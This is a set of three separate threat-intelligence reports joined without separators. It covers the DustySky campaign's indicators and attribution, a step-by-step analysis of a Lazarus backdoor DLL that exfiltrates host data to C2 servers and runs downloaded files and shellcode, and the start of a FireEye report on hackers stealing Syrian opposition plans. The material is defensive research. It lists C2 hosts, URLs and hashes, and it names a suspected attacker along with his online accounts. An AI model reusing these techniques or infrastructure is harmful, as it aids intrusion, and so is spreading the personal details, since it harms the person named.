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ClearSky    www.clearskysec.com Page 14 of 26 Source: https://www.passivetotal.org/passive/192.52.167.118 IP address 204.152.203.99 is newer and has been in use since May: Source: https://www.passivetotal.org/passive/204.152.203.99 Below are the active IPs used for command and control or for delivery: Further indicators are provided in Appendix A. IP ASN and Hosting provider 204.152.203.99 United States Los Angeles Graeme Tee, QuadraNet 192.161.48.59 United States Los Angeles Graeme Tee, QuadraNet 192.52.167.118 United States Burns Crowncloud Us Llc, Crowncloud US LLC 185.82.202.207 Netherlands Amsterdam Host Sailor Ltd. 173.254.236.130 United States Los Angeles Graeme Tee, QuadraNet, Inc 168.235.86.156 United States Macon Ramnode Llc 167.160.36.101 United States Lewes Gwy It Pty Ltd, Web2Objects LLC 107.191.47.42 United States Tampa Vultr Holdings Llc,  Choopa, LLC 84.200.68.163 Germany Freinsheim Ip Projects, IP-Projects GmbH  Co. KG 72.11.148.147 United States Los Angeles  QuadraNet Inc 23.229.3.70 Turkey Istanbul Turkrdns.com, B2 Net Solutions Inc https://www.passivetotal.org/passive/192.52.167.118 https://www.passivetotal.org/passive/204.152.203.99 ______________________________________________________________________________ (C) All Rights reserved to C.S.
Consultings Ltd, 2016.
ClearSky    www.clearskysec.com Page 15 of 26 Threat Actor and Attribution The DustySky campaign has been going on for over a year, with more than 120 command and control hostnames, and dozens of known unique malware samples.
However, it has not been technologically advanced, and the infrastructure and attacks have not been operated professionally.
Open directories were often left on delivery servers.
Traces were left on infected systems and abused email accounts.
Malware delivery was often predictable, contained spelling mistakes or even irrelevant lure documents, and were easy to identify.
Most importantly, the attacker forgot to cover his trails, enabling us to learn his identity.
Threat actor In the beginning of December 2015, three samples were submitted to online malware detection and analysis platforms malwr.com and Virus Total.
The samples were Word documents with a macro version of DustySky.
They were submitted on the same date they were last saved.
The person who last saved the documents (after weaponizing them with the malicious macro) forgot to clear the file metadata.
Thus, the Last Saved By properties of the documents contained his username: moayy2adhotmail.com The images below display this username in the samples metadata: Invoice details.doc (b1071ab4c3ef255c6ec95628744cfd3d), uploaded on 3 December 20154 and Invoice-Complete.doc (77d6e2068bb3367b1a46472b56063f10) uploaded on 2 December 20155 4 https://malwr.com/analysis/Yjc4YjVjYmNjYzVjNGE2MzhkMTc1OWJjMjdjNjExNWU/ 5 https://malwr.com/analysis/NmU4MjcxYjYwZmQ1NDk4YmI5NjI3MDMzMDM2N2E1ZTY/ https://malwr.com/analysis/Yjc4YjVjYmNjYzVjNGE2MzhkMTc1OWJjMjdjNjExNWU/ https://malwr.com/analysis/Yjc4YjVjYmNjYzVjNGE2MzhkMTc1OWJjMjdjNjExNWU/ https://malwr.com/analysis/NmU4MjcxYjYwZmQ1NDk4YmI5NjI3MDMzMDM2N2E1ZTY/ https://malwr.com/analysis/NmU4MjcxYjYwZmQ1NDk4YmI5NjI3MDMzMDM2N2E1ZTY/ ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 16 of 26 Google-Privacy.doc (9c60fadece6ea770e2c1814ac4b3ae74) uploaded to VirusTotal on 3 December 20156 Who is moayy2adhotmail.com The unique username moayy2ad enabled us to find plenty of information on the attacker.
Googling for moayy2adhotmail.com led the following blog7, which has been removed in the months after we published the first report: 6 https://www.virustotal.com/en/file/f96f07288039ebabb8d837043f06f8f1445ed4484023353e1111a40ac4f25fd8/analysis/ 7 mrayesh.blogspot[.
]com https://www.virustotal.com/en/file/f96f07288039ebabb8d837043f06f8f1445ed4484023353e1111a40ac4f25fd8/analysis/ https://www.virustotal.com/en/file/f96f07288039ebabb8d837043f06f8f1445ed4484023353e1111a40ac4f25fd8/analysis/ ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 17 of 26 The blog was created by moayyad on Blogger, who is also using the name moayy.
This profile has been made private following our publication.
Searching for the same username in Gmail (moayy2adgmail.com) yielded further results.
A Google profile8 with a similar nickname  Moay - was connected to this address.
The profile has also been disabled in the months after we published the first report.
8 https://plus.google.com/u/1/115033746922297164649 ______________________________________________________________________________ (C) All Rights reserved to C.S.
Consultings Ltd, 2016.
ClearSky    www.clearskysec.com Page 18 of 26 The owner of the Gmail account has developed a flashlight app9.
In the apps page we learn that he uses the name Moayyad Ay and that he is from Gaza In the YouTube channel10  linked to moayy2adgmail.com (which, like the other accounts, has been made private later), the individual has uploaded anti-Israeli propaganda videos: 9 https://play.google.com/store/apps/details?idorg.moayyad.aye.flash.apphlen 10 https://www.youtube.com/user/1quds/feed ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 19 of 26 According to the videos he watched it seems that he was learning development and hacking skills over the past few years: ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 20 of 26 Similarly, we found his Twitter account11 (also disabled) full name Moayyad Ayesh and Facebook account12 11 https://twitter.com/MoayyadAyesh 12 https://www.facebook.com/profile.php?id100012034095150 ______________________________________________________________________________ (C) All Rights reserved to C.S.
Consultings Ltd, 2016.
ClearSky    www.clearskysec.com Page 21 of 26 We also found this cached chat in Tor based chat service in which moayy2ad is talking about israil bnk acounts (we do not have the rest of the conversation).
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ClearSky    www.clearskysec.com Page 22 of 26 The Gmail address is connected to a Facebook account, probably of a fake identity - Montaser Ali (https://www.facebook[.
]com/montaser.ali.338).
The profile says that the actor resides in Nablus, and that he is a member of a group called Rebellion West-Bank13.
Contacting ClearSky In the first DustySky report, we mentioned we know the identity of the attacker, but have decided not to reveal it.
Consequently, the attacker contacted us, trying to learn what we know about him.
By Email Eleven days after we publicly published Operation DustySky, we received the following email 13 https://www.facebook.com/D8AAD985D8B1D8AF-D8A7D984D8B6D981D8A9- D8A7D984D8BAD8B1D8A8D98AD8A9-542062199177072/ ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 23 of 26 We immediately recognized the email as a fake  coming from an unofficial address - idf.cybergmail.com and written in English.
The email, allegedly sent by the Israeli Defense Force cyber team, asked for undisclosed information we had about the culprit behind DustySky (the email referred to a statement in the first report in which we wrote that we have decided not to disclose this individuals name in the public report).
By phone Few days later, we were contacted again, this time by phone.
The caller pretended to be an official in one of the effected countries mentioned in the report.
Similarly, he asked for further information about the identity of the attacker.
We asked the caller to send his request via email.
Corroborating the provided contact information, we learned that this was also a fake.
In both cases, we did not send any information to the attackers.
However, we used the new leads to deepen the investigation.
Below is the email we received: ______________________________________________________________________________ (C) All Rights reserved to C.S.
Consultings Ltd, 2016.
ClearSky    www.clearskysec.com Page 24 of 26 Appendix A  Indicators Type indicator comments AV detection Win.
Trojan.
DustySky AV detection Trojan.
Dustky AV detection Trojan.
MSIL.Musik domain education-support.space domain falcondefender.com domain support-update.ml domain such.market hostname support.mafy-koren.online hostname mafy.2waky.com hostname smail.otzo.com delivery hostname ad.education-support.space hostname info.education-support.space hostname support.servecounterstrike.com hostname reme.otzo.com hostname supports.esmtp.biz hostname news.cloudns.cc hostname speed.ns01.biz hostname space.support-reg.space hostname mo.mefound.com hostname support.read-books.org hostname supports.3utilities.com IP 84.200.68.163 IP 23.229.3.70 IP 204.152.203.99 IP 192.52.167.118 IP 168.235.86.156 email source address IP 167.160.36.101 sender Free Movies Moviemafy-koren.online sender IDF Survey Research Center.. infomafy-koren.online sender avynortongmail.com md5 59bab785127418972dda9da5571b73fd md5 07dae7dada9ec3fa22507dfa5921c993 md5 4bd6a959cce13d1f5b5511a428e88c9c md5 2ba0e52b885cabfbcd88866ab4072f54 md5 1d922e183418ac087933c526f7bd06c1 md5 3ce39f8afce9463c6d90c00ce72edb86 md5 77fd78042407a7318dba388da00700cc ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 25 of 26 md5 a5b3fb5119fad72ac321d8d6416b6b92 md5 30b843343590518e7b62c5f6db394bc2 md5 2a654ecb26664013d8e2369fe9c0b565 md5 b11b7b7b5bd80779dd885628d65e02e5 Folder.exe md5 cc24cd17fa93fce7ea1128edeb9ee40b Drops b11b7b7b5bd80779dd885628d65e02e5 md5 5e906ccb3b67131e4771ca72609c0648 md5 ad5531b085ef005ee12319e88fb8f674 md5 2f5397ad6205ab4463e6e3be9aba4efe drops ad5531b085ef005ee12319e88fb8f674 md5 0ae4345213cad388dbe38e2acda1a489 Updata.exe md5 28a5e9b2ef5cfd2edb7f31d3da9a5a15 md5 8655af063090ef192a7f1e0c05c7883f md5 6e66ed5d8c7d4ca9c2e96f2cc045eb94 md5 d01848a20e0f5c4a7a7243bb98a7b26c md5 923844dfc3d5b21f288df9beaa958baf md5 639d768d575c45372ea707ed89423f36 md5 b4ab538f592082373e9ab96373561713 cleaned.exe md5 b85c17f92629fec41502b44cf86ba859 1.exe md5 6f08808d0be510698563d3b0443fe5a4 New.exe md5 b8c6c8eeb9a18b1d4632bc8191db5517 Folder.exe md5 ddff0a7643f4ff2fe777e768e7bae004 log file.exe md5 2395c798ca8628e735ac2d8d274cd230 md5 bc6baf7a1d420d226a7a157b412a51d9 md5 8ba38899a6446366724d98761dd10d46 md5 d538e50df25e30f3c4252ce523507d23 md5 a50da199db97abb2dfd6fd62b5a00f02 md5 2a1884bdab940ea66b28599245e79fa9 md5 2f30034885045bae4a201bf6b3913b54 md5 23c3f3e93ea2ffe704abb602d04588c0 md5 b8c6c8eeb9a18b1d4632bc8191db5517 md5 e5500274853f77be6ffba610dac2cae4 md5 ffa1bdc105013e1cbb00483b412b98b8 md5 0264076c190af6e1176e1abff47d1ae8 md5 02ef03bd5e6dbf9c03e8504c9e797abd pdb Name D:\IL\Working Tools\2016-04-23 NeD Ver 9 Ran Il - 192.52.167.118\NeD Download and execute Version 1 - Doc\bin\Release\Obfuscated\News.pdb url http://bit[.
]ly/1YRoIPX url http://smail.otzo[.
]com/W/Gfsdfsdfsrydkfpsdmfpsadsdfsdf sdfsdfdfsp.php url http://smail.otzo[.
]com/y/analysis--hezbollah.rar url https://drive.google[.
]com/uc?exportdownloadampid 0B7XzN8DNbJKiQlFNRHdVTmpCd0U url https://drive.google[.
]com/uc?exportdownloadid0Bxa UrWGCqlWLMTQzMVFNOENIUFk ______________________________________________________________________________ (C) All Rights reserved to C.S.
Consultings Ltd, 2016.
ClearSky    www.clearskysec.com Page 26 of 26 url https://drive.google[.
]com/uc?exportdownloadid0B7n 4BFDObRocdm1uS2J4SWVUNWc url http://drive.google[.
]com/uc?exportdownloadid0ByjYV MTYJB0saHlTalJ6ZWlWWGM support.mafy-koren[.
]online/reg-update url support.mafy-koren[.
]online/UFeed.php filename Israels Cellebrite linked to FBIs iPhone hack attempt.exe filename Report-Photos.rar filename Analysis--Hezbollah.rar filename Report.rar filename  .
-
exe filename Logs.exe filename Analysis and estimates (Dahlan) heads of state next Palestine.exe filename Report-Palestinian-President.rar filename Folder.lnk in \Startup\ filename Folder.exe filename  .
exe filename Intelligence Report Israels strategic position has improved.exe filename Updata.lnk in \Startup\ filename (    .
)exe filename  Office 2016.exe filename edikvlxhprg.lnk in \Startup\ filename edikvlxhprg.exe in \Startup\ filename plugin.exe filename Fared-Ismael.rar filename       .
exe filename  cleaned.exe filename cbkp1vpsv1y.exe filename jnpqmri1aus.exe filename gzch5y2cyne.exe filename retn0gzbksd.lnk in \Startup\ filename pktkvkgj4bl.lnk in \Startup\ filename Intelligence agencies succeeding in penetrating Hezbollah.exe filename         .
,
exe   .
filename Intelligence Report Israels strategic position has improved.exe filename   ) (    .
exe x509 fingerprint cadd3141e42227c0a30aa58ab3ca9fa91384f4c7 SSL communication with C2 x509 fingerprint 9fb60ae410cf8e7739535aaa9771edd781f766d3 SSL communication with C2 x509 fingerprint 0387ac82a3eabd3ffc48a73cc440e02ce3018bc8  SSL communication with C2 x509 fingerprint 9fb60ae410cf8e7739535aaa9771edd781f766d3  SSL communication with C2
1/16 A detailed analysis of Lazarus APT malware disguised as Notepad Shell Extension cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension Summary Lazarus has targeted its victims using job opportunities documents for companies such as LockHeed Martin, BAE Systems, and Boeing.
In this case, the threat actor has targeted people that are looking for jobs at Boeing using a document called Boeing BDS MSE.docx (https://twitter.com/ShadowChasing1/status/1455489336850325519).
The malware extracts the hostname, username, network information, a list of processes, and other information that will be exfiltrated to one out of the four C2 servers.
The data targeted for exfiltration is compressed, XOR-encrypted and then Base64-encoded before being transmitted to the C2 server.
The Trojan implements four actions that include downloading and executing a .exe or .dll file, loading a PE (Portable Executable) into the process memory, and executing shellcode.
Technical analysis SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269 The file is a DLL that has 7 exports.
Only one of these functions implements malicious activity (DllGetFirstChild): Figure 1 The malware retrieves the User Agent by calling the ObtainUserAgentString function.
There is also a User Agent that is hardcoded in the binary Mozilla / 5.0 (Windows NT 10.0 WOW64 Trident / 7.0 rv:11.0) li, which is Internet Explorer on Windows 10: Figure 2 The binary extracts the current system date and time using the GetSystemTimeAsFileTime API: Figure 3 GetModuleHandleW is utilized to retrieve a module handle for ntdll.dll: Figure 4 The process gets the address of the following export functions using the GetProcAddress routine: RtlGetCompressionWorkSpaceSize, RtlCompressBuffer, RtlDecompressBuffer, RtlGetVersion.
An example of a function call is shown in figure 5: https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/ https://twitter.com/ShadowChasing1/status/1455489336850325519 2/16 Figure 5 The NetBIOS name of the local computer is extracted via a function call to GetComputerNameW: Figure 6 The GetAdaptersInfo API is used to retrieve adapter information for the local machine: Figure 7 The MAC address extracted above is written to a buffer: Figure 8 The file extracts the command-line string for the current process: Figure 9 CommandLineToArgvW is utilized to extract an array of pointers to the command-line arguments, along with a count of arguments (similar to argv and argc): Figure 10 According to an article published at https[:]//zhuanlan.zhihu.com/p/453894016, the malware is supposed to run with the following parameters: NTPR P6kpR6iIKwJpU6oR6ZilgKPL7IxsitJAnpIYSx2KldSSRFFyUIzTBVFAwgzBkI2PS/EgASBik/GgYBwBbRNy7pPXq4uTsxOXU6NPmudaEz7Xy5 The binary decrypts the above parameter using a custom algorithm displayed in figure 11.
The list of resulting strings contains multiple C2 servers: 3/16 Figure 11 Figure 12 The following URLs have been decrypted: https[:]//mante.li/images/draw.php https[:]//bmanal.com/images/draw.php https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php https[:]//industryinfostructure.com/templates/worldgroup/view.php The GetNetworkParams routine is used to retrieve network parameters for the local computer: Figure 13 The malicious process extracts the name of the DNS domain assigned to the local host (0x2  ComputerNameDnsDomain): Figure 14 The following network information is written to a temporary buffer: 4/16 Figure 15 Figure 16 The process gets the username associated with the current thread by calling the GetUserNameW function: Figure 17 5/16 The binary takes a snapshot of all processes in the system using the CreateToolhelp32Snapshot API (0x2  TH32CS_SNAPPROCESS): Figure 18 The file extracts information about the first process from the snapshot via a call to Process32FirstW: Figure 19 The malicious binary opens the process object using the OpenProcess routine (0x410  PROCESS_QUERY_INFORMATION PROCESS_VM_READ): Figure 20 Whether the file doesnt have enough rights to open a process, it copies Unknown along with the process name to a temporary buffer.
The binary takes a snapshot of the current process along with all its modules using the CreateToolhelp32Snapshot API (0x8 TH32CS_SNAPMODULE): Figure 21 Module32FirstW is utilized to retrieve information about the first module associated with the current process: Figure 22 The malicious DLL gets information about the next process recorded in the snapshot: Figure 23 The OpenProcessToken routine is used to open the access token associated with a process (0x8  TOKEN_QUERY): 6/16 Figure 24 GetTokenInformation is utilized to extract the user account of the token (0x1  TokenUser): Figure 25 The process retrieves the name of the account for a SID and the name of the first domain on which the SID is found via a function call to LookupAccountSidW: Figure 26 GetTokenInformation is utilized to extract the Terminal Services session identifier associated with the token (0xC  TokenSessionId): Figure 27 The RtlGetCompressionWorkSpaceSize API is used to determine the correct size of the WorkSpace buffer for the RtlCompressBuffer function (0x102  COMPRESSION_FORMAT_LZNT1  COMPRESSION_ENGINE_MAXIMUM): Figure 28 The process compresses the buffers from figures 15 and 16 using the RtlCompressBuffer function (0x102 COMPRESSION_FORMAT_LZNT1  COMPRESSION_ENGINE_MAXIMUM): 7/16 Figure 29 The DLL randomly chooses a C2 server from the list of four.
It initializes the applications use of the WinINet functions via a call to InternetOpenW: Figure 30 InternetCanonicalizeUrlW is used to canonicalize the URL: Figure 31 The malware cracks the URL into its component parts by calling the InternetCrackUrlW API: Figure 32 The connect, send and receive timeouts are set to 150s using the InternetSetOptionW routine (0x2 INTERNET_OPTION_CONNECT_TIMEOUT, 0x5  INTERNET_OPTION_SEND_TIMEOUT, 0x6 INTERNET_OPTION_RECEIVE_TIMEOUT): Figure 33 8/16 Figure 34 Figure 35 The DLL opens an HTTP session to the C2 server on port 443 (0x3  INTERNET_SERVICE_HTTP): Figure 36 The binary creates a POST request handle to the URI extracted from the specified URL: Figure 37 The security flags for the handle are set using the InternetSetOptionW API (0x1F  INTERNET_OPTION_SECURITY_FLAGS, 0xF180 SECURITY_FLAG_IGNORE_REVOCATION  SECURITY_FLAG_IGNORE_UNKNOWN_CA SECURITY_FLAG_IGNORE_CERT_CN_INVALID  SECURITY_FLAG_IGNORE_CERT_DATE_INVALID SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP  SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS): Figure 38 The buffer (concatenation of two buffers) that was compressed earlier is encrypted using XOR (key  32-byte array): 9/16 Figure 39 Figure 40 The encrypted buffer from above is encoded using Base64: Figure 41 10/16 Figure 42 The binary constructs the following parameters searchYOIPOUPei6128oqBase64-encoded buffer: Figure 43 The User Agent extracted earlier is added to the HTTP request handle using the HttpAddRequestHeadersW routine (0xA0000000 HTTP_ADDREQ_FLAG_REPLACE  HTTP_ADDREQ_FLAG_ADD): Figure 44 HttpSendRequestW is used to exfiltrate data to the C2 server: Figure 45 Its worth mentioning that all C2 servers were down during our analysis.
Weve emulated network connections using FakeNet.
The size of the C2 response is retrieved by calling the HttpQueryInfoW routine (0x5  HTTP_QUERY_CONTENT_LENGTH): Figure 46 The binary copies the C2 response to a buffer via a function call to InternetReadFile: 11/16 Figure 47 The malicious process parses the data between the html/html and div/div tags: Figure 48 The malware performs a similar POST request with different parameter values searchDOWPANYei6128: Figure 49 The C2 response is decoded using Base64, and then XOR decrypted.
The malware implements 4 different actions that will be explained based on the EAX register value: Figure 50 12/16 EAX  0  load a PE into the current process memory GetNativeSystemInfo is utilized to retrieve information about the current system: Figure 51 The DLL performs multiple VirtualAlloc function calls that will allocate memory for the new executable (0x3000  MEM_COMMIT MEM_RESERVE, 0x4  PAGE_READWRITE): Figure 52 The malware changes the memory protection depending on the segment (for example, the code segments memory protection is set to 0x20 PAGE_EXECUTE_READ): Figure 53 After a few more operations, the process passes the control flow to the new PE.
EAX  1  download and execute a .exe file The binary gets the AppData folder path by calling the SHGetFolderPathW routine (0x1c  CSIDL_LOCAL_APPDATA): Figure 54 GetTickCount is used to extract the number of milliseconds that have elapsed since the system was started: Figure 55 The malware creates a file based on the above value (0x40000000  GENERIC_WRITE, 0x1  FILE_SHARE_READ, 0x2 CREATE_ALWAYS, 0x80  FILE_ATTRIBUTE_NORMAL): 13/16 Figure 56 The newly created file is populated with content that is supposed to be transmitted by the C2 server: Figure 57 The malicious binary executes the file by calling the CreateProcessW API: Figure 58 EAX  2  download and execute a .dll file The execution flow is similar to the above case, and we only highlight the difference.
Rundll32.exe is used to execute the DLL file (an export function can also be specified in the command line): 14/16 Figure 59 EAX  3  copy and execute shellcode The process allocates memory using the VirtualAlloc routine (0x1000  MEM_COMMIT, 0x40  PAGE_EXECUTE_READWRITE): Figure 60 The DLL implements an anti-analysis check.
It calls the isProcessorFeaturePresent API in order to determine whether _fastfail() is available.
If this feature is not supported, the current process is terminated by calling the GetCurrentProcess and TerminateProcess functions (0x17 PF_FASTFAIL_AVAILABLE): Figure 61 The malware jumps to the shellcode and then frees the memory area allocated earlier: 15/16 Figure 62 As we mentioned at the beginning of the analysis, the threat actor only added the export function explained above, and the others are legitimate.
Weve studied a legitimate Notepad shell extension (SHA256: f3e2e6f9e7aa065e89040a0c16d1f948489b3751e5eb5efac8106d5f7d65d98d 64-bit) and compared the export functions between the 2 files.
As we can see below, the functions are very similar: Figure 63 Figure 64 References 16/16 MSDN: https://docs.microsoft.com/en-us/windows/win32/api/ Fakenet: https://github.com/fireeye/flare-fakenet-ng VirusTotal: https://www.virustotal.com/gui/file/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269 MalwareBazaar: https://bazaar.abuse.ch/sample/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269/ INDICATORS OF COMPROMISE C2 domains: mante.li bmanal.com shopandtravelusa.com industryinfostructure.com SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269 URLs: https[:]//mante.li/images/draw.php https[:]//bmanal.com/images/draw.php https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php https[:]//industryinfostructure.com/templates/worldgroup/view.php https://docs.microsoft.com/en-us/windows/win32/api/ https://github.com/fireeye/flare-fakenet-ng https://www.virustotal.com/gui/file/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269 https://bazaar.abuse.ch/sample/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269/
S P E C I A L  R E P O R T SECURITY REIMAGINED AUTHORS: DANIEL REGALADO NART VILLENEUVE JOHN SCOTT RAILTON1 FEBRUARY 2015 F I R E E Y E  T H R E A T  I N T E L L I G E N C E BEHIND THE SYRIAN CONFLICTS DIGITAL FRONT LINES Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 2 Introduction   3 Key findings 5 I.
Data theft: stealing the oppositions plans 6 II.
Victims: serving varied roles in the opposition 9 Victims Located in Syria and beyond 10 III.
Tactics: encountering femme fatale 11 Chatting with female avatars 11 Seeding malware on social media 13 A fake Syrian opposition website 13 Social networking profiles and Facebook credential phishing 14 One compromised system, multiple victims 14 IV.
Malware: a range of tools for multiple platforms 15 V. Potential threat group sponsorship 16 Lebanon: a recurring theme 17 Conclusion 18 Acknowledgements 18 Appendix A: malware analysis 19 Multi-stage self-extracting RAR dropper 19 ONESIZE Keylogger 21 BLACKSTAR, a custom dropper for the DarkComet RAT 24 YABROD downloader and CABLECAR launcher 26 Detailed analysis 27 Python-based backdoor shellcode launcher 28 Android backdoors 30 Malware samples 34 CONTENTS 1 John Scott Railton is a Research Fellow at the Citizen Lab, Munk School of Global Affairs, University of Toronto and a PhD Student at UCLA FEBRUARY 2015 3 Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 3 ten armed units working in opposition to Syrian President Assads regime were planning a major operation intended to push a front forward against the Syrian governments forces.
They carefully laid out their objectivetake and hold a series of positions and liberate the town of Khirbet Ghazaleh, a strategic gateway to the major city of Daraa.
They used Google Earth to map their defensive lines and communicate grid coordinates.
IN MID-2013, They shared photocopied battle plans and in red ballpoint pen added defensive berms, saving their plans electronically as pictures.
They planned for a battle involving between 700 and 800 opposition forces, who were divided into groups to launch separate attacks, including an ambush.
They mapped out locations for reserve fighters, staging areas, and support personnel, settled on a field operations area, and planned supply routes to resource their forces.
They sternly told commanders of each unit that they could make no individual decisions without the approval of the Operations element.
4 Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT THEY WOULD BEGIN We uncovered these battle plans in the course of our ongoing threat research.
It quickly became apparent that we had come across stolen documents containing the secret communications and plans of Syrian opposition forces that had fallen victim to a well-executed hacking operation.
Between at least November 2013 and January 2014, the hackers stole a cache of critical documents and Skype conversations revealing the Syrian oppositions strategy, tactical battle plans, supply needs, and troves of personal information and chat sessions belonging to the men fighting against Syrian President Bashar al-Assads forces.
While we do not know who conducted this hacking operation, if this data was acquired by Assads forces or their allies it could confer a distinct battlefield advantage.
To undertake this operation, the threat group employed a familiar tactic: ensnaring its victims through conversations with seemingly sympathetic and attractive women.
A female avatar would strike up a conversation on Skype and share a personal photo with her target.
Before sending the photo she typically asked which device the victim was usingan Android phone or a computerlikely in an effort to send appropriately tailored malware.
Once the target downloaded the malware-laden photo, the threat group accessed his device, rifled through files and selected and stole data identifying opposition members, their Skype chat logs and contacts, and scores of documents that shed valuable insight into military operations planned against President Assads forces.
the attack with a barrage of 120mm mortar fire, followed by an assault against key regime troop locations.
They drew up lists of men from each unit, with names, birthdates, and other identifying information.
They used formulas in a colorful Excel spreadsheet to calculate per-man ammunition needs.
They arranged and assigned heavier weapons to various engagements: several tanks, a BMP fighting vehicle, 14.5mm and 23mm anti-aircraft guns, B-10 82 mm recoilless rifles, Yugoslav 90mm M79 Osa anti-tank weapons and other equipment.
Finally, they prepared and staffed medical teams and battlefield ambulances.
They would have a driver, stretcher-bearer, and two armed elements for additional support.
Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 5 SPECIAL REPORT 5 KEY FINDINGS DATA THEFT VICTIMS TACTICS AND TECHNIQUES MALWARE POTENTIAL SPONSORSHIP The threat group stole hundreds of documents and some 31,107 logged Skype chat sessions that included discussions of plans and logistics of the Syrian oppositions attacks on Assads forces.
Targeted individuals included armed opposition members, media activists, humanitarian aid workers, and others.
The victims are located in Syria, the region and beyond.
The threat actors used female Skype avatars to chat with their targets and infect their devices with malware.
She typically asked her intended victim if he was using Skype on an Android or a computer, in a likely attempt to send malware tailored to the device.
The threat group also maintained a seemingly pro-opposition website containing links to malicious downloads and Facebook profiles with malicious links as well.
They conducted these operations using servers located outside of Syria.
The threat group employed a diverse malware toolset that implied access to development resources.
They used both widely available and custom malware to breach their targets, including the DarkComet RAT, a customized keylogger, and tools with different shellcode payloads.
While we have only limited indications about the origins of this threat activity, our research revealed multiple references to Lebanon both in the course of examining the malware and in the avatars social media use.
Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 66 I.
DATA THEFT: STEALING THE OPPOSITIONS PLANS The threat group amassed a significant amount of data, from Skype account databases to planning documents and spreadsheets to photos.
The victims created the majority of the data from May 2013 to December 2013.
Some of the stolen Skype databases included chat history going back to 2012 and activity as recent as January 2014.
The threat TYPES OF STOLEN INFORMATION MILITARY INFORMATION POLITICAL INFORMATION HUMANITARIAN ACTIVITIES AND FINANCING REFUGEE PERSONAL INFORMATION MEDIA AND COMMUNICATIONS Conversations and documents planning military operations Detailsonmilitary hardware and positions of fighting groups Namesofmembers of fighting groups and their weapons systems Politicalstrategy discussions Politicaltracts, manifestos, and alliances within the opposition Humanitarianneeds assessments Listsofmaterialsfor the construction of major refugee camps Humanitarian financial assistance disbursement records Applications for assistance by refugees to authorities in Turkey Listsofaidrecipients, scans of ID cards Documents and strategy information pertaining to media releases Situationreports and lists of casualties Informationabout rights abuses group chose what it stole carefully, there were only a few instances where the group downloaded movies, empty files, end user licensing agreements, baby pictures, school papers, and other seemingly extraneous material.
We have summarized the major types of information contained in the stolen data in the table below: Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 7 MILITARY INFORMATION The threat group took a range of military-related information, and seemed to pay special attention to files that contained lists of names.
We found dozens of lists identifying hundreds of fighters serving in armed opposition groups.
Some lists included names and birthdates, while others noted the weapons and serial numbers each man carried, their blood types, and their phone numbers.
The threat group also stole lists of officers in Assads forces, and pictures of suspected Hezbollah operatives captured or killed inside Syria, as well as pictures of fighting-age men with weapons and in irregular uniforms posing for the camera or exploring battle damaged towns.
Sometimes, the threat group would take whole sets of files pertaining to upcoming large-scale military operations.
These included correspondence, rosters, annotated satellite images, battle maps, orders of battle, geographic coordinates for attacks, and lists of weapons from a range of fighting groups.
We identified records of the number of Kalashnikovs and light machine guns taken, materials found, and casualties suffered during operations.
One such report describes capturing a warehouse filled with chemical weapons protective equipment, suits, cleaning products, and possibly antidotes.
The report did not mention whether any chemical agents were found.
The threat group also took Skype chat logs, in which mundane conversations often transitioned into sensitive communications about strategy, logistical issues, and supply routes, and frank assessments of recent engagements with the enemy.
In one chat, opposition members discuss the movement of a shipment of 9M113 TOW missiles and launchers, and agree upon a time and location to handover the weapons.
POLITICAL INFORMATION The Skype chat logs likely provided the threat group with an inside view into the politics of the Syrian opposition, as individuals discussed coalitions, criticized people, and shifted alliances.
In addition to the Skype logs, the threat actors also stole a large number of documents detailing opposition political structures, including the formation of political parties, political support, and shifting allegiances in the diaspora.
HUMANITARIAN ACTIVITIES AND FINANCING The threat actors also stole a wide range of material concerning humanitarian activities in Syria and bordering countries.
These included many lists of humanitarian needs, such as per- family lists of blanket and mattress distribution in refugee camps.
The threat actors stole records of financial assistance, and money sent per-month to opposition groups within the country.
64 SKYPE ACCOUNT DATABASES CONTACTS CONVERSATIONS 12,356 31,107 OF STOLEN DATA 7.7 GB 240,381 MESSAGES STOLEN DATA Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 8 The threat group stole data such as personal updates, lists of casualties, and documents discussing investigations into the use of chemical weapons.
REFUGEE PERSONAL INFORMATION We also found that the threat actors had stolen information pertaining to Syrian refugees in Turkey and elsewhere.
Refugees must provide a range of documentation to the relevant authorities in order to receive benefits from the host country.
The threat group had obtained filled-out applications for assistance and education, and even the scanned ID cards of refugees and their CVs.
We found photos depicting Syrian families in Turkish refugee camps, and children next to cars in temporary refugee housing.
MEDIA AND COMMUNICATIONS OPERATIONS Several of the threat groups victims engaged in media activities on behalf of the revolution.
The threat group stole data such as personal updates, lists of casualties, and documents discussing investigations into the use of chemical weapons.
In some cases, the threat actors also stole composite images of fighters killed in battle, as well as the original photographs from which they were taken.
CREDENTIALS The threat group also obtained user account information, possibly to continue monitoring the oppositions communications.
The threat actors collected Facebook account information through the use of a fabricated login page, and believe that they relied on Remote Access Trojans (RATs) and extensive keylogging to obtain credentials as well.
Opposition battle plans were stolen that included information about the emplacements of anti- government forces.
